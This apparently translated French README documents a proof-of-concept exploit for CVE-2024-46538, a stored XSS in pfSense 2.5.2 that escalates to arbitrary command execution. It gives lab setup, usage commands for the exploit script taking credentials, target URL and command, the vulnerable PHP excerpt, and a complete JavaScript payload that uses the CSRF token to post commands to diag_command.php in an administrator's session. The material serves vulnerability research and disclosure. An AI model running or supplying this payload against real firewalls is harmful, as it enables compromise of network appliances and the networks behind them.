Ce billet est un article de recherche publié par EQSTLab.

Merci à physicszq, qui a découvert cette vulnérabilité.

CVE-2024-46538

★ CVE-2024-46538 XSS stocké PfSense menant à l'exécution de code arbitraire PoC ★

https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae

Description

CVE-2024-46538 : Vulnérabilité de XSS stocké dans PfSense

description : Une vulnérabilité de cross-site scripting (XSS) dans pfsense v2.5.2 permet aux attaquants d'exécuter des scripts web arbitraires ou du HTML via une charge utile spécialement conçue injectée dans la variable $pconfig dans interfaces_groups_edit.php.

Configuration du laboratoire

Téléchargez la version vulnérable (v2.5.2) :

Configuration de la machine virtuelle

Fonctionne sur Oracle Virtual Box

1. Créer une machine virtuelle

2. Configurer les adaptateurs 1 et 2 comme suit :

3. Configurer l'ordre de démarrage comme suit :

4. Suivez les instructions comme suit :

Comment l'utiliser

Git clone

git clone https://github.com/EQSTLab/CVE-2024-46538.git
cd CVE-2024-46538

Installation des paquets

pip install -r requirements.txt

Commande

# Store malicious JavaScript payload (No custom js server)
python3 CVE-2024-46538.py -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
# Store malicious JavaScript payload (Use custom js server)
python3 CVE-2024-46538.py -j <CUSTOM_JAVASCRIPT_SERVER> -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>

Sortie

CVE-2024-46538.py

Analyse

/src/usr/local/www/interfaces_groups_edit.php

if (isset($_POST['members'])) {
		$members = implode(" ", $_POST['members']);
	} else {
		$members = "";
	}
...
		// Create new group
		} else {
			$ifgroupentry['ifname'] = $_POST['ifname'];
			$a_ifgroups[] = $ifgroupentry;
		}

		write_config("Interface Group added");
		interface_group_setup($ifgroupentry);

		header("Location: interfaces_groups.php");
		exit;
	} else {
		$pconfig['descr'] = $_POST['descr'];
		$pconfig['members'] = $members;
	}
}

L'absence de filtrage de la variable $pconfig dans interfaces_groups_edit.php entraîne une vulnérabilité de cross-site scripting (XSS). Cette vulnérabilité de cross-site scripting (XSS) permet aux attaquants d'exploiter le point de terminaison diag_command.php pour exécuter des commandes arbitraires sur un administrateur. Par exemple, le JavaScript suivant peut conduire à une exécution de code arbitraire.

mal.js

var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "id");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("https://192.168.102.61/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})

Scénario

Utilisateur (Privilège : WebCfg - Interfaces: Groups: Edit) --(Stocke un code JavaScript malveillant)--> Admin (Privilège d'exécution de code) --(Lit interfaces_groups.php)--> Exécution du code JavaScript --> Exécution de code

Avertissement

Ce dépôt n'a pas pour but d'être un exploit XSS pour CVE-2024-46538. L'objectif de ce projet est d'aider les personnes à apprendre cette vulnérabilité et, éventuellement, à tester leurs propres applications.

Références

https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md

https://skshieldus.com/eng/business/insight.do#